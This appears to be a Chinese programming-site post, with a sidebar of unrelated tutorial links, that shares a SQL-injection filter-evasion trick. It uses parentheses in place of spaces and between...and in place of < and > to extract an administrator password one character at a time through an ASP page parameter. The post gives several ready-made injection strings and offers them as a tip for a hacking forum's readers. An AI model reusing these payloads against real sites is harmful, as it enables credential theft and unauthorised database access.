突破空格的限制
让我们通过一个实例来进一步了解。假设我们面对一个注入点jmdcw.asp?name=aa'and 1=1 and ''='。如果我们想替换其中的1=1部分,以查询管理员的密码,比如使用语句“select asc(mid(pass,1,1)) from [name] where id=1)>49”。如何在保持功能的同时添加必要的空格呢?答案是可以使用括号进行创新性的组合,写成这样:jmdcw.asp?name=aa'and((select(asc(mid(pass,1,1)))from[name]where(id=1))>49)and''='。
如果系统中屏蔽了<和>符号,我们还可以使用between...and...语句来绕过限制。例如:jmdcw.asp?name=aa'and((select(asc(mid(pass,1,1)))from[name]where(id=1))between(40)and(50))and''='。在这个例子中,原本应该出现的空格位置都被括号所替代,使得SQL语句得以正常执行。
上述方法主要针对字符型数据,如果是数值型数据,可以在等于号后添加括号。例如:“jmdcw.asp?id=(1)and(select.....)”尽管我还没有实际测试过,但理论上应该是可行的。这些有趣的发现,让我忍不住要和LOVESHELL上的朋友们一起分享。
我想补充一点关于编程和代码优化的思考。在计算机编程中,代码的清晰度和可读性至关重要。尽管括号在SQL语句中的使用可以作为一种技巧,但在实际开发中,过度依赖这种技巧可能会降低代码的可读性。我们需要找到一个平衡点,既保证代码的功能性,又保持其清晰易懂。这也体现了编程中的一种哲学思考:技巧与规范的平衡。
编程语言
- 突破空格的限制
- jQuery length 和 size()区别总结
- PHP准确取得服务器IP地址的方法
- Asp.net第三方控件ComboBox组合框介绍
- 详解window启动webpack打包的三种方法
- VS2005打开VS2008项目的2种方法(vs2005怎么打开2008)
- Windows 系统下设置Nodejs NPM全局路径
- nodejs判断文件、文件夹是否存在及删除的方法
- ie与session丢失(新窗口cookie丢失)实测及解决方案
- mysql5.1.26安装配置方法详解
- ASP.NET网页显示LED字体的方法
- ASP常用函数-ArrayToxml
- js实现简单秒表走动的时钟特效
- jQuery+ThinkPHP+Ajax实现即时消息提醒功能实例代码
- JS中用childNodes获取子元素换行会产生一个子元素
- php设置静态内容缓存时间的方法